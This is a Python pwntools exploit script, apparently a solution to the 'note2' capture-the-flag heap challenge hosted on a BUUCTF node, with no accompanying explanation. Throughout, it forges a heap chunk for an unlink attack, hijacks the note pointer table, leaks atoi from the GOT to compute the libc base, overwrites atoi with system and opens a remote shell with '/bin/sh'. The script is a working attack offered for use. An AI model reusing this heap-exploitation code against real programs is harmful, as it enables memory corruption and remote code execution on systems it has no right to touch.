1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import *
sh = remote('node3.buuoj.cn',25799) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') elf = ELF('./note2') atoi_got = elf.got['atoi'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] sh.sendlineafter('Input your name:','haivk') sh.sendlineafter('Input your address:','huse')
def add(size,content): sh.sendlineafter('option--->>','1') sh.sendlineafter('(less than 128)',str(size)) sh.sendlineafter('Input the note content:',content)
def show(index): sh.sendlineafter('option--->>','2') sh.sendlineafter('Input the id of the note:',str(index))
def edit(index,content,mode=1): sh.sendlineafter('option--->>','3') sh.sendlineafter('Input the id of the note:',str(index)) sh.sendlineafter('[1.overwrite/2.append]',str(mode)) sh.sendlineafter('TheNewContents:',content)
def delete(index): sh.sendlineafter('option--->>','4') sh.sendlineafter('Input the id of the note:',str(index))
heap_ptr_1 = 0x0000000000602120
fake_chunk = p64(0) + p64(0x81 + 0x20)
fake_chunk += p64(heap_ptr_1 - 0x18) + p64(heap_ptr_1 - 0x10) fake_chunk += 'a'*0x10
add(0x80,fake_chunk) add(0,'') add(0x80,'b'*0x20) add(0x10,'c'*0x8)
payload = 'd'*0x10 + 'd'*0x8 + p8(0x90) edit(1,payload)
for i in range(7,-1,-1): payload = 'd'*0x10 + 'd'*i edit(1,payload)
payload = 'd'*0x10 + p64(0x20 + 0x80) edit(1,payload)
delete(2)
edit(0,'a'*0x18 + p64(heap_ptr_1 + 8))
payload = p64(atoi_got) edit(0,payload)
show(1) sh.recvuntil('Content is ') atoi_addr = u64(sh.recv(6).ljust(8,'\x00')) libc_base = atoi_addr - libc.sym['atoi'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(1,p64(system_addr))
sh.sendlineafter('option--->>','/bin/sh')
sh.interactive()
|